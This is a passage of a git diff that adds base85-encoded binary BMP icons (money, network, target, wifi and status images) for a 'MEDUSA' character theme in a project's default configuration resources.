zYBb`P=~O8W@%(&y?(DU%J@n}&WHf4c?ljGEahK2MGnvfr|9$2R1~g)^SiD~@!#<;o zocMe`qxT|_NTWetPXgc9@n{Jai3D_ebF=Gfxfjf6SaSI59#yLx6@^G8lkIl(gE=>Rc literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/static/money.bmp b/resources/default_config/characters/MEDUSA/static/money.bmp new file mode 100644 index 0000000000000000000000000000000000000000..cd3a033b8147a4ec6467a2cbc78cc53ff7f0a1da GIT binary patch literal 1062 zcmZXTOHW!+6on5dP6}S2Ns~_K$TUp=I|3ZiicYYJX#D|*sTw-c5+{}p1pFO^Ninf0 z5C1`@psil$K&ef1B$y`hQ1L=P&K1+g4)^A8&RTo#v-Y|#UOq7j86MtGc^=$82JuMl z|GFo{7e#;M2Cr7Lq5rNf+r3`5QdX0Rgx~LX%3zU9Cdy@%BLH{c0q>@BU8|i%qi@Y- z^U%-`oFFkh?Q}SdMx%My9F0Z+0Mn_G$G;!ds@Llk!Vq~A+1uOIw400!7Q3a=^71mB zdAuHAI#md&lgQ(CTP&7*KHrmZdUEni1`B;BoBgaPipS#t3`K};S6f+GAzdz?1H#_> zSd1L{{aM6fvCIC|dr;W~-0OCQP*v4rGSLYqT}?};(;SAw;Zc`sbkr3N&+|8(N|7GG z;^J$-WmOd-9*-jgccO8a!QhPDZs%J5@qU0E85x`k`e$l0aFK_(=ip8f=5XX=|smuvM84M`OyBiuOw?WE&u=<@Mz|)Pnw}6 zo7F~pG~@I6V0_x%-q|Vi>$RFtT~6o3guk!LMqiiRTV0RrHA(Y|awY9bLdQB&RAAEl-sg6OB Y>F&El^2y1G&CO(`QbtbzdJ)O{4M#3Qwg3PC literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/static/networkkb.bmp b/resources/default_config/characters/MEDUSA/static/networkkb.bmp new file mode 100644 index 0000000000000000000000000000000000000000..967d706aab76c5b687d63259993795faaa8a734d GIT binary patch literal 134 zcmZ?rZDW7{J0PV2#6nQa$iN7e@BorW_#l`G$Od5$_zwdA4lwNh;lLpO$AN+W_W=g} r?*|xm$sb_&$B)1df&9ln@#i}aF#P}L0K`DOb`A{xK_yDUL_}Iqd!9u=}&yk^dT%^Q9%l3kvh!zIz9< z3hXklzMsE;|N8yw)r;r$u5Kc+WhS!^*=>7ix8(^C*>8Pqwe+%dPLG0##r3P_fBy!m z{Rz~`z;N~Uoy3&X=!l4jzyKL_HS=Yso%VmQ+wvHSHa~LQ^~PrNGf7jsARouLxX{?R z@Ka}wF)*xMzn)7;S3IFcEWSpisLy8ob-QiPY_~i?psmkrH$Ks-UMLk;Czaa9plLI4 zLJtGOmNl!TeUoeteX~FC)o$-c>#fhNw>-l{w!7ck?fdL_{J&&k28OL`*GPHA zS#5u1v+V_@aukuR&w&Pu$5c%Q*$31o=@o0W{WZPxty?4I8DqKaC06^aHb1rA@)Q`J z)#fbsHz2g*t?jONHakIF>+Nr>x4p96`Oap?8{3_)?e~0= zh=%Kv0{U;)JL9>>4JPl=pRmJd)^Yv*ZHChi7);)+KWPt;tJkyHaOysTNxL2PeM8bG z=^1Bx@VioGqojYbm|K)WN~4HlkZfe3w10}Uf2vA$n~=4KbV#<8U$WETKjI+!dLi-P z6K{L)n|}XRt@=fpHS_d(wy0Ok)NNm_)38{#afxC7Hnq}e+Re*!8W%Yo{VN$)H>Dq_ zZ}Xbf!uA0MOD>r#yKb`Vn#r;oCQGlGEWcs0{F=!MFj{sMC}_Owiplb;rmJoX`Q=XT z>0)3weDI)zyu7fQu9&6)D$*Czgd@0=A-}lfvc(G-7`}b`cIMQnBm4IrJFt%+I_ literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/static/target.bmp b/resources/default_config/characters/MEDUSA/static/target.bmp new file mode 100644 index 0000000000000000000000000000000000000000..9808765f9f3b1503df3dc728fd567d18e6e84cab GIT binary patch literal 1062 zcmYk5StzYh6vy{HgV`~4j$6D)9Ty=F4jv5M3`K`h!ihX0WQYe-k-`h5l<|a+DTNn# z@Z=&gM}{YvmEm|WWw`g(_uYHCyY~0(z1DxN{ont!_D`c;C8S~C`-AEJcYYJ!CA&o_ z#4n9JB?F(|()jxN;(u~-($muu7Z>N~=!i?B(HM=!fq{YR>uVYI@$vEb`N>)cIfCWb z*jQj-AlS6Dw7R;wwzjsas;Z=R%6QAWMK zzAi2~L8GC#CqN1Yr_jf$IySp779W^yIa6Udh#&UmupOKN_ z?CiX`xhaPVaeI3k5fKp+6Z7)&^7Qo7(9q!O>Iy`!*W20Id3kw31?NIR?3$XIkfXG;bbo*U^73+PYs+LZ;qCA5$2&4ILdu1O1u3qepddCj_WAkw z;NZZ+!=t361T!}{J3C{+?Nd@xe0_a6kGpEM+Un|RDK0cLlu(wvy}gKebaVvU%F0TA zfB*XWdJ;gz$;oMad>l+-Vq#WS7BUFo?d@GrQGuYJYk))oUp14+5S9f-HY;A3ahK9hTrlzK+ zr@y_u36YbNgGz8;UtdSY=H_PncXxM7OG|VDJe+ zI5?P`oJ@)6JW@hMisNH8o0UpsYilcOPMw^b%+JrKL8!^>>@4cBKqd;=*w`pjk@^hc z2#=YHb0pFK4~xY@L5PzFl3iV0{d-3M$%URYR(W~(=;-L&+}!Z+a9&=XR;O!eX+b{X zC@@V)`$+G|`T&-fmysqYD2TVAP$-Z$EG(?7tc*@SKR-7Z3<(JdoWNbA^N6#CVn(U$ W?d`R-HQ;oql{2O2?Cg}cLi_gosvvjh~#+9psl0k*AzcYqWO ze-hd=x{(WH*-6gLcfa$?mvisy+b4;-dV!OLe)?$wJ$L>G%)h|=?%%o%>wG>l3^Sk4 z%d#9!ZU~KxY;~hmSvmGhT}Nc z`af3Jb<473S(YRzP16xR%v~%N5WQZnSF06lo##1@W31mG&N-<-$w%>2R-|zlzXPepnsLQ>F!@1wjJ?CD|UA{Ix z2Ero+?JQhl`qv`G-- zODWE*v|w(0n|_!Bb6duix?P_zLzoi?-`oDfo=~X=i*D2vZDO}lK{awolSVSr2|7sc zUGSqI)@6jEk_i{THgyq601$$Ft@5D`EXLuNwDWsZ3W{=^S&Kzg3W?C_rF8c~A2YH_ z2j=Q^w>d8d@TKvaCARbwSaWB#4M6HeBxjAlsQHW}DRK;E&7SkwG{|Nga@u{%1JKAc z>!4Uaq9Q9bm?`g9p;nb5-F0%Ny~4J6k)WiJlfu#0@eS_pYXG>h`K|#>$HzawVj@RJ z?Dj-r%@(>k*u3>3`k8WqDUVKSGJ@Heehr{%#Z7dNPHMz(G>4^X(#eMxtmhr4T`p!M z6SaaKl(m|m*e5-#M)Uf)^8awkg`{w&(EO0= z>kS0_0dx*;5O<{h$v6EkH@Rt`&MZ0Eo+#N4@RSC4o-N7Ywr)od1{a%=Ea4Uk@}`CF7vh{tt`&2MA*^;zCCem`EieQLmfJ>+TzLp8jiiRCsbI*p2ao_bu`!tMqSCD z*pMCX*&pwDd%cTN;&u1hW#>=ADNF2`bF-awnNI+C%KN%~9rrt5FfFc)b@sXC<`|nE zOnR`M0Eq_#&552*B^fFsqN_N{3%fEPy847CvgWGJ;?IjkA0qd9ZgJg)hd@$ XQS-Fm)z2;;$8&-d(V&#)IPA~gj3r~2 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/static/wifi.bmp b/resources/default_config/characters/MEDUSA/static/wifi.bmp new file mode 100644 index 0000000000000000000000000000000000000000..eb95ff985d0de4e24ae6448347cfb4a532fd9f7d GIT binary patch literal 950 zcma)4&x`3%6#qVx6}@@h>QST_3T69Z!}L;=9%@QSDYCJVKLHC1vt%Po&0>hKk{XoF z8>5I~iz12?8&Q6}_Zc^34E1i^b8qLI&*z-;x%b!a+!eK7KVe1K-?6`8f1!TBQj{C< zKVQk-J7E4^Sgls8R;z6`o3rr?xR;lgo0}Upn;nTncDvnY=mnh125`+Y=4qfxKd!(}iSY`5DJ^hX> zFOf)mKHtfdA8{acI-PVn{UG-HNu$y1cKeC22i$tSj>TecZ*PE>N+qE0?(P%{g~Q<} z6bf+G>-Bg%jx^Hn0S6&K&Ear@!Qf;vAwgoN(`hss<@5PS$Y!%gIE+0WkI@WTLQpIg zTPzm0+wJjqtX8X3DuolvY&H*vLoz5uC6mef`}=0I2_n#GG@9${Ym!JTlgU)6RH;-7 z37t;IXf%dGA&SC@xIiGtWHO`&a3m552n#WvpPw6z2C0$D<Oz!uj z5q=Vn(h2$Vi<(IQ%h!)_a&j^^H#ayqXfPO7R#w8{@DG=-e|a}IH!UqK0)arI(M(KC zjE#*c6pG^F;(>vIXf&G1&fozKV*9<>h4xdw6)Lsj1=f`M6l8(@`MSzP`Sm zo}LWe_4PI4fhfSv&dzRcZ($rA9i5(@!ZLM|^aadb{j&g0|b z`1m-)#P8(fBsP&NgsrTsEH5wL+}wmr(DvfuB9TZC(%s$N+S-b=QL2)XlEuZvg@uK@ zyu4sA2n0C|4Gq=S)@EmCTdh_GgOQ(~4PALJ2-(`&!l4BP1<10#zFsbuqXLjL7K=jUxU8!||f4i67IJ3AqGR#ui+EQWB{O7cEFJ`kAO?FJBu zMErjL)zuZno1UIV6Cn{uhO;SBiifXWuSYAwFdB^rroX=*_R`W4jYe}g9Izp5S63Gd zYNYCp$nI4ZvtJR`cO(s)wb90K8`5q|M(KV0&`=|!`6RP68 z-rimaht&Va0|uqpY<5#qlf`0bZ*Qm5=^PFR5yHlcOp{=w;!I;tPfupE86lx@W@cvY M?(WiCnFb+$0TudT!~g&Q literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/BerserkerForce/BerserkerForce.bmp b/resources/default_config/characters/MEDUSA/status/BerserkerForce/BerserkerForce.bmp new file mode 100644 index 0000000000000000000000000000000000000000..e8f452cf36427f159aa0fa47371ff0ab27d31bd1 GIT binary patch literal 30000 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 